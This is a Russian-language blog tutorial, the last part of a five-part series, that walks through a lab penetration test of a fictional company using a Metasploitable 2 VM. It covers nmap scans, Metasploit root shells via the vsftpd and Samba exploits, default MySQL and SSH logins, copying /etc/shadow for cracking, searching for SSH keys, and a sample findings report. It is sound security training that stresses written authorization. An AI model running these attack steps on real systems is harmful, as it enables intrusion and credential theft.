Меню
Обо мне Услуги Путь Работайте со мной
Security operations center
Безопасность 8 мар, 2026 • 30 мин. чтения

Полный аудит: полный тест на проникновение от начала до конца

Put it all together. Walk through a complete penetration test from scoping to final report. The capstone of The Hacker's Path series.

Поделиться:
Lee Foropoulos

Lee Foropoulos

30 мин. чтения

Путь хакера: серия из 5 частей

Часть 1: ВведениеЧасть 2: Мастерство FlipperЧасть 3: Основы KaliЧасть 4: ЭксплуатацияЧасть 5: Полный аудит

Вы начали эту серию, задаваясь вопросом, чем на самом деле занимаются хакеры. Вы узнали, что это не про толстовки с капюшоном и зелёный текст на экране. Это методичное решение задач. Вы клонировали пропуска, картографировали сети, перехватывали хэндшейки и получали шеллы на уязвимых машинах.

Теперь мы собираем всё воедино. Эта статья проведёт вас через полноценный тест на проникновение вымышленной цели. Каждая фаза, каждое решение, каждая находка задокументированы именно так, как это делает профессионал.

Сценарий

Клиент: Initech Labs (вымышленная небольшая IT-компания)

Область: Внутренний тест на проникновение

Цель: Выявить уязвимости и продемонстрировать потенциальное влияние на бизнес

Ваша цель: Ваша собственная лабораторная сеть (Kali + Metasploitable 2 + любые другие виртуальные машины, которые вы настроили)

Налейте кофе. Будет интересно.

Фаза 1: Предварительная подготовка

Прежде чем прикоснуться к клавиатуре, профессиональные пентестеры решают организационные вопросы. Пропустите этот этап, и вы не пентестер. Вы просто человек, совершающий преступления.

Звонок для определения области работ

В реальном проекте вы бы провели созвон с клиентом, чтобы выяснить:

  • Что входит в область? Какие сети, диапазоны IP, приложения?
  • Что за пределами области? Продуктивные системы? Сторонние сервисы?
  • Окно тестирования? Когда можно тестировать? Только в рабочее время?
  • Контактные лица? Кому звонить, если что-то сломается?
  • Цели? Галочка для комплаенса или реальное улучшение безопасности?

Для вашей лаборатории

Область: Только ваша изолированная лабораторная сеть. За пределами области: Всё остальное на планете. Окно тестирования: Когда угодно. Цель: Учиться на практике.

Правила взаимодействия

У реальных проектов есть письменные правила. Вот что они обычно включают:

  • Письмо об авторизации - Подписанный документ, подтверждающий ваше разрешение
  • Процедуры эскалации - Что делать, если найдено что-то критическое
  • Обработка данных - Как обращаться с конфиденциальными данными, которые вы обнаружите
  • Требования по очистке - Удалить все инструменты и бэкдоры после завершения
  • Сроки отчётности - Когда должен быть готов финальный отчёт?

Всегда получайте письменное разрешение

Даже для «дружеских» тестов в сети приятеля. Подписанное письмо со словами «вы имеете право тестировать мою сеть с ДАТЫ по ДАТУ» может стать разницей между учебным опытом и уголовным делом. Отнеситесь к этому серьёзно.

Фаза 2: Разведка

Время узнать всё о цели. В реальном проекте это включало бы OSINT (разведку по открытым источникам): поиск в Google, профили LinkedIn, сайты компаний, DNS-записи. В нашей лаборатории мы переходим сразу к активной разведке.

Шаг 1: Обнаружение сети

Первый вопрос: Что есть в этой сети?

bash# Узнаём диапазон сети
ip a | grep inet
# Ищем что-то вроде: inet 192.168.56.100/24

# Обнаруживаем все живые хосты
sudo nmap -sn 192.168.56.0/24 -oA discovery

# Результаты (пример):
Nmap scan report for 192.168.56.1
Host is up (0.00032s latency).
Nmap scan report for 192.168.56.101
Host is up (0.00089s latency).
Nmap scan report for 192.168.56.102
Host is up (0.00045s latency).

Документируйте всё. Создайте заметку примерно такого вида:

text# Initech Labs - Обнаружение сети
# Дата: 2026-03-08
# Тестировщик: Ваше имя

192.168.56.1   - Шлюз/Маршрутизатор
192.168.56.101 - Неизвестно (требует изучения)
192.168.56.102 - Неизвестно (требует изучения)

Шаг 2: Сканирование портов

Теперь копаем глубже. Какие сервисы запущены?

bash# Полное сканирование портов с определением сервисов
sudo nmap -sV -sC -p- -oA full_scan 192.168.56.101

# Это занимает время. Для более быстрых результатов во время обучения:
sudo nmap -sV -sC --top-ports 1000 -oA quick_scan 192.168.56.101

На Metasploitable 2 вы увидите настоящую сокровищницу:

textPORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
80/tcp   open  http        Apache httpd 2.2.8
139/tcp  open  netbios-ssn Samba smbd 3.X
445/tcp  open  netbios-ssn Samba smbd 3.X
3306/tcp open  mysql       MySQL 5.0.51a
5432/tcp open  postgresql  PostgreSQL DB
...

Какая открытость, Бэтмен. Обновляем наши заметки:

text192.168.56.101 - Linux-сервер (Metasploitable)
  - FTP (21): vsftpd 2.3.4       # Известный бэкдор!
  - SSH (22): OpenSSH 4.7p1      # Древний
  - Telnet (23): Активен          # Зачем это в 2026 году?
  - HTTP (80): Apache 2.2.8      # Веб-приложения для тестирования
  - SMB (139/445): Samba 3.X     # Потенциальная золотая жила
  - MySQL (3306): 5.0.51a        # Доступ к базе данных?
  - PostgreSQL (5432): Активен   # Ещё одна БД

Шаг 3: Выявление уязвимостей

Время выяснить, что действительно можно эксплуатировать.

bash# Запускаем скрипты для поиска уязвимостей
sudo nmap --script vuln -oA vuln_scan 192.168.56.101

# Проверяем конкретные сервисы в Metasploit
msfconsole
msf6 > search vsftpd
msf6 > search samba 3
msf6 > search apache 2.2

Бэкдор vsftpd 2.3.4 сразу бросается в глаза. Это гарантированный шелл. Но хороший пентестер не останавливается на первой находке. Вы документируете всё.

Серверная комната с мигающим сетевым оборудованием
Тщательная разведка картографирует всю поверхность атаки прежде, чем будет запущен хотя бы один эксплойт. Каждый открытый порт и версия сервиса становятся точкой данных в вашей оценке.

Фаза 3: Эксплуатация

Здесь всё становится интересным. У нас есть несколько потенциальных точек входа. Давайте систематически их проработаем.

Вектор атаки 1: Бэкдор FTP

bashmsf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(...) > set RHOSTS 192.168.56.101
msf6 exploit(...) > exploit

[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned
[+] Command shell session 1 opened

whoami
root

id
uid=0(root) gid=0(root)

Находка задокументирована: Получен root-шелл через бэкдор FTP. Время от первого сканирования до полной компрометации: примерно 10 минут.

Получен root-шелл через бэкдор FTP. Время от первого сканирования до полной компрометации: примерно 10 минут.

Но мы не останавливаемся. Куда ещё можно проникнуть?

Вектор атаки 2: Samba

bash# Отправляем текущую сессию в фон
background

msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(...) > set RHOSTS 192.168.56.101
msf6 exploit(...) > exploit

[*] Command shell session 2 opened

whoami
root

Ещё один root-шелл через другой вектор. Это два независимых пути к полной компрометации.

Вектор атаки 3: Веб-приложения

Давайте проверим, что работает на порту 80.

bash# Перечисляем веб-директории
gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt

# Результаты:
/cgi-bin/     (Status: 403)
/dav/         (Status: 301)
/icons/       (Status: 301)
/index        (Status: 200)
/phpMyAdmin/  (Status: 301)
/phpinfo      (Status: 200)
/test/        (Status: 301)
/twiki/       (Status: 301)

# Запускаем nikto для дополнительных находок
nikto -h http://192.168.56.101

phpMyAdmin с учётными данными по умолчанию? Проверим:

text# Пробуем стандартные учётные данные
Username: root
Password: (пусто)

# Доступ получен!

Административный доступ к базе данных без пароля. Отсюда мы могли бы выгрузить все данные, изменить записи или использовать файловые операции MySQL для записи веб-шелла.

Вектор атаки 4: Слабые учётные данные SSH

bashmsf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS 192.168.56.101
msf6 auxiliary(...) > set USERNAME msfadmin
msf6 auxiliary(...) > set PASSWORD msfadmin
msf6 auxiliary(...) > run

[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'

Слабые учётные данные дают доступ по SSH. Не root, но мы разберёмся с этим в пост-эксплуатации.

Фаза 4: Пост-эксплуатация

Мы получили доступ. Что дальше? Настоящий тест на проникновение демонстрирует влияние на бизнес. Что атакующий реально МОЖЕТ СДЕЛАТЬ с этим доступом?

Сбор учётных данных

bash# Из нашего root-шелла
cat /etc/shadow
root:$1$xyz...truncated...:14889:0:99999:7:::
msfadmin:$1$abc...truncated...:14889:0:99999:7:::
user:$1$def...truncated...:14889:0:99999:7:::
postgres:$1$ghi...truncated...:14889:0:99999:7:::

# Сохраняем для офлайн-взлома
cat /etc/passwd > /tmp/passwd.txt
cat /etc/shadow > /tmp/shadow.txt

# На Kali взламываем их
unshadow passwd.txt shadow.txt > combined.txt
john --wordlist=/usr/share/wordlists/rockyou.txt combined.txt

Разведка сети (изнутри)

bash# Какие другие сети доступны с этой машины?
ifconfig
route -n
cat /etc/hosts
arp -a

# Что подключается к этой машине?
netstat -tulpn
ss -tulpn

# Ищем SSH-ключи (для бокового перемещения)
find / -name "id_rsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null

Обнаружение конфиденциальных данных

bash# Ищем интересные файлы
find / -name "*.conf" 2>/dev/null | head -20
find / -name "*.sql" 2>/dev/null
find / -name "*.bak" 2>/dev/null
find / -name "*password*" 2>/dev/null

# Проверяем типичные расположения конфигов
cat /var/www/*/config.php 2>/dev/null
cat /etc/mysql/my.cnf

# Перечисление баз данных
mysql -u root -p  # Пробуем пустой пароль
mysql> SHOW DATABASES;
mysql> SELECT * FROM mysql.user;

Повышение привилегий (от msfadmin)

Помните тот вход по SSH как msfadmin? Давайте повысим привилегии до root, используя то, что мы узнали в Части 4.

bash# Подключаемся по SSH как msfadmin
ssh [email protected]

# Проверяем разрешения sudo
sudo -l
# (Вывод может различаться, но проверим другие векторы)

# Ищем SUID-бинарники
find / -perm -4000 2>/dev/null

# Ищем записываемые скрипты, запускаемые от root
cat /etc/crontab

# Загружаем и запускаем LinPEAS для комплексной проверки
# (В реальном сценарии уже рассмотрено в Части 4)
Профессионал работает за столом с инструментами кибербезопасности
Пост-эксплуатация демонстрирует реальное влияние на бизнес. Разница между сканированием уязвимостей и тестом на проникновение заключается в доказательстве того, что атакующий действительно может сделать, получив доступ.

Фаза 5: Документация и результаты

Тест бесполезен без отчёта. Именно это отличает профессионалов от скрипт-кидди. Вам нужно объяснить, что вы нашли, почему это важно и как это исправить.

Сводка результатов

Вот что мы обнаружили в сети «Initech Labs», оформленное так, как это выглядело бы в реальном отчёте:

КРИТИЧНО: Бэкдор FTP-сервиса (CVE-2011-2523)

Затронутая система: 192.168.56.101

Риск: Удалённое выполнение кода без аутентификации с правами root

Доказательство: Полный root-шелл получен менее чем за 60 секунд

Рекомендация: Немедленно обновить vsftpd до текущей версии или полностью отключить FTP-сервис.

КРИТИЧНО: Удалённое выполнение кода через Samba

Затронутая система: 192.168.56.101

Риск: Удалённое выполнение кода без аутентификации с правами root

Доказательство: Полный root-шелл получен через эксплойт usermap_script

Рекомендация: Обновить Samba до текущей версии. Ограничить доступ к SMB только необходимыми системами.

ВЫСОКО: Доступ к MySQL под root без пароля

Затронутая система: 192.168.56.101

Риск: Полная компрометация базы данных, кража данных, развёртывание веб-шелла

Доказательство: Вход под root с пустым паролем через phpMyAdmin

Рекомендация: Установить надёжный пароль для root. Ограничить доступ к phpMyAdmin. Рассмотреть полное удаление phpMyAdmin.

ВЫСОКО: Слабые учётные данные SSH

Затронутая система: 192.168.56.101

Риск: Аутентифицированный доступ, ведущий к повышению привилегий

Доказательство: msfadmin:msfadmin успешно прошёл аутентификацию

Рекомендация: Внедрить политику надёжных паролей. Реализовать аутентификацию по SSH-ключам. Рассмотреть fail2ban.

СРЕДНЕ: Включён сервис Telnet

Затронутая система: 192.168.56.101

Риск: Учётные данные передаются в открытом виде

Доказательство: Порт 23 открыт и принимает подключения

Рекомендация: Отключить Telnet. Использовать SSH для всего удалённого администрирования.

НИЗКО: Открытая страница phpinfo()

Затронутая система: 192.168.56.101

Риск: Раскрытие информации помогает дальнейшим атакам

Доказательство: http://192.168.56.101/phpinfo доступен без аутентификации

Рекомендация: Удалить или ограничить доступ к страницам phpinfo.

Резюме для руководства

Это то, что руководители действительно читают. Коротко, по делу и без жаргона:

Резюме для руководства

В ходе теста на проникновение внутренней сети Initech Labs команда безопасности получила полный административный контроль над основным сервером в течение 10 минут с начала оценки.

Ключевые результаты:

10 min
Время от первого сканирования до полной компрометации root на сервере с необновлёнными сервисами.
  • 2 критические уязвимости, позволяющие немедленный удалённый захват
  • 2 уязвимости высокой степени, раскрывающие базы данных и учётные данные пользователей
  • Множественные находки средней и низкой степени, указывающие на системные пробелы в безопасности

Итог: Атакующий с базовыми навыками мог бы полностью скомпрометировать эту систему за считанные минуты. Требуется немедленное исправление всех критических и высоких находок. Рекомендуется повторная оценка после применения исправлений.

Фаза 6: Очистка и завершение

Профессиональный пентестер оставляет среду точно в том состоянии, в котором нашёл.

bash# Документируем все сессии
msf6 > sessions -l

# Завершаем все сессии
msf6 > sessions -K

# На цели (если вы создавали какие-либо файлы):
rm /tmp/linpeas.sh
rm /tmp/*.txt

# Удаляем любых созданных пользователей
userdel testuser

# Удаляем любые добавленные SSH-ключи
rm /home/*/.ssh/authorized_keys

# Документируем всё, что удалили

В реальном проекте вы бы также:

  • Удалили все инструменты, загруженные во время тестирования
  • Задокументировали любые изменения, внесённые в среду
  • Предоставили хэши/контрольные суммы любых извлечённых данных
  • Безопасно уничтожили все данные клиента после сдачи отчёта

Полный чек-лист методологии

Вот ваш многоразовый рабочий процесс для любого теста на проникновение:

Методология тестирования на проникновение

  1. Предварительная подготовка
    • Определить область и правила взаимодействия
    • Получить письменное разрешение
    • Установить каналы коммуникации
    • Настроить среду тестирования
  2. Разведка
    • Обнаружение сети (перечисление хостов)
    • Сканирование портов и определение сервисов
    • Сканирование уязвимостей
    • Перечисление веб-приложений
    • Документировать всё
  3. Эксплуатация
    • Проверить уязвимости (не доверять сканерам слепо)
    • Эксплуатировать подтверждённые уязвимости
    • Документировать каждую успешную компрометацию
    • Фиксировать доказательства (скриншоты, логи)
  4. Пост-эксплуатация
    • Перечислить данные скомпрометированной системы
    • Собрать учётные данные
    • Выявить конфиденциальные данные
    • Попытаться повысить привилегии
    • Искать возможности бокового перемещения
  5. Отчётность
    • Написать резюме для руководства (влияние на бизнес)
    • Задокументировать все находки с доказательствами
    • Предоставить рекомендации по исправлению
    • Включить технические детали для IT-команд
  6. Очистка
    • Удалить все инструменты и артефакты
    • Завершить все сессии и бэкдоры
    • Задокументировать любые изменения среды
    • Безопасно обработать данные клиента
План действий по полному аудиту 0/6

Что дальше: Ваш путь вперёд

Вы прошли «Путь хакера». Вы прошли от «а что вообще такое хакинг» до проведения полноценного теста на проникновение. Это действительно впечатляет.

Но это только начало. Вот куда двигаться дальше:

Платформы для практики

  • Hack The Box - Реалистичные машины для практики. Начните с «Easy» в архиве.
  • TryHackMe - Пошаговые учебные маршруты. Отлично подходят для структурированного развития.
  • VulnHub - Бесплатные уязвимые ВМ для скачивания и практики локально.
  • PentesterLab - Фокус на безопасности веб-приложений.

Сертификации (если вам нужны)

  • eJPT (eLearnSecurity Junior Penetration Tester) - Отличная стартовая точка, практический экзамен
  • OSCP (Offensive Security Certified Professional) - Отраслевой стандарт, жёсткий, но уважаемый
  • PNPT (Practical Network Penetration Tester) - Современный, практичный, включает написание отчётов
  • CEH (Certified Ethical Hacker) - Галочка для корпоративных вакансий, менее практичный

Специализации

  • Безопасность веб-приложений - OWASP, Burp Suite, SQL-инъекции, XSS
  • Active Directory - Большинство корпоративных сред работают на нём
  • Облачная безопасность - Пентестинг AWS, Azure, GCP
  • Мобильная безопасность - Тестирование приложений Android/iOS
  • Red Teaming - Полная симуляция противника, физическая + цифровая
  • Обратная разработка - Анализ вредоносного ПО, разработка эксплойтов

Постройте домашнюю лабораторию

Лучшие пентестеры имеют продвинутые домашние лаборатории. Начните просто и расширяйте:

  • Добавьте Windows Server с Active Directory
  • Настройте контроллер домена
  • Разверните уязвимые веб-приложения (DVWA, bWAPP, WebGoat)
  • Постройте сеть с несколькими сегментами
  • Добавьте HoneyAegis, чтобы увидеть атаки с точки зрения защитника

Путь хакера: Завершён

Вы справились. Все пять частей, от любопытства до компетентности.

Часть 1: Введение Часть 2: Мастерство Flipper Часть 3: Основы Kali Часть 4: Эксплуатация Часть 5: Полный аудит

Серия завершена - Ваш путь

Часть 1: Вы узнали, что такое хакинг на самом деле, и получили первые победы с Flipper Zero

Часть 2: Вы освоили все протоколы Flipper: Sub-GHz, RFID, NFC, BadUSB, GPIO

Часть 3: Вы построили лабораторию Kali, изучили nmap и перехватили WiFi-хэндшейки

Часть 4: Вы освоили Metasploit, эксплуатацию, повышение привилегий и пивотинг

Часть 5: Вы собрали всё воедино в полноценную методологию тестирования на проникновение

Безопасность - это не пункт назначения. Это практика. Инструменты будут меняться, уязвимости эволюционировать, но методология остаётся прежней. Подвергайте всё сомнению. Документируйте всё. Никогда не прекращайте учиться.

Добро пожаловать на другую сторону.

  • Lee
How was this article?

Поделиться

Link copied to clipboard!

You Might Also Like

Lee Foropoulos

Lee Foropoulos

Business Development Lead at Lookatmedia, fractional executive, and founder of gotHABITS.

🔔

Ne propustite ni odnoi publikacii

Poluchajte uvedomleniya o novyh statyah. Email ne trebuetsya.

Vy uvidite banner na sajte kogda poyavitsya novaya statya, plyus uvedomlenie brauzera esli razreshite.

Tolko uvedomleniya brauzera. Bez spama.